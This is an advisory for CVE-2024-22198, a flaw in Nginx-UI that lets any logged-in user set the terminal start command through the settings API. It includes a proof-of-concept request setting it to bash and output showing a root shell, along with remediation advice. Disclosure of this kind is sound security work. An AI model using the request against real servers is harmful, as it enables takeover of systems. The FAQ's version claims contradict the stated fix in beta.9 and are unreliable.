CVE-2024-22198: Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)
Summary Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.
Details The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API.
go func InitPrivateRouter(r gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... }
The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.
The SaveSettings function is defined as follows:
go func SaveSettings(c gin.Context) { var json struct { Server settings.Server json:"server" ... }
...
settings.ServerSettings = json.Server
...
err := settings.Save() ... }
The Terminal Start Command setting is stored as settings.ServerSettings.StartCmd. By spawning a terminal with Pty, the StartCmd setting is used:
go func Pty(c gin.Context) { ...
p, err := pty.NewPipeLine(ws)
... }
The NewPipeLine function is defined as follows:
go func NewPipeLine(conn websocket.Conn) (p Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd)
... This issue was found using CodeQL for Go: Command built from user-controlled sources.
Proof of Concept > Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "startcmd":"bash" : http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: <<JWT TOKEN>> Content-Type: application/json
{"nginx":{"accesslogpath":"","errorlogpath":"","configdir":"","pidpath":"","testconfigcmd":"","reloadcmd":"","restartcmd":""},"openai":{"baseurl":"","token":"","proxy":"","model":""},"server":{"httphost":"0.0.0.0","httpport":"9000","runmode":"debug","jwtsecret":"...","nodesecret":"...","httpchallengeport":"9180","email":"...","database":"foo","startcmd":"bash","cadir":"","demo":false,"pagesize":10,"githubproxy":""}} 3. Open a terminal from the web interface and execute arbitrary commands as root: root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root)
Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
Other sources
Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. While the UI doesn't allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/0xJacky/Nginx-UIto a version that resolves this vulnerability.Fixed in 2.0.0.beta.9 - Upgrade
Upgrade
uozi/nginx-uito a version that resolves this vulnerability.Fixed in 2.0.0.beta.9 - Configuration
After upgrading to 2.0.0.beta.9, ensure the “Terminal Start Command” (stored in settings.ServerSettings.StartCmd) is set to an intended, fixed command (e.g., not an interactive shell such as bash) so it cannot be abused for arbitrary command execution via the settings API.
Nginx-UI (settings.ServerSettings.StartCmd) start_cmd / Terminal Start Command = <set to a non-interactive, fixed command that does not accept user-controlled input>
Event History
Frequently Asked Questions
What is the severity of CVE-2024-22198?
The severity of CVE-2024-22198 is classified as high due to the potential for arbitrary command execution.
How do I fix CVE-2024-22198?
To fix CVE-2024-22198, upgrade Nginx-UI to version 2.0.0 or later, addressing the vulnerability.
Which versions are affected by CVE-2024-22198?
CVE-2024-22198 affects Nginx-UI versions up to 2.0.0.beta.9.
What type of vulnerability is CVE-2024-22198?
CVE-2024-22198 is categorized as an arbitrary command execution vulnerability.
What products are impacted by CVE-2024-22198?
CVE-2024-22198 impacts Nginx-UI, specifically versions including and below 2.0.0.beta.9.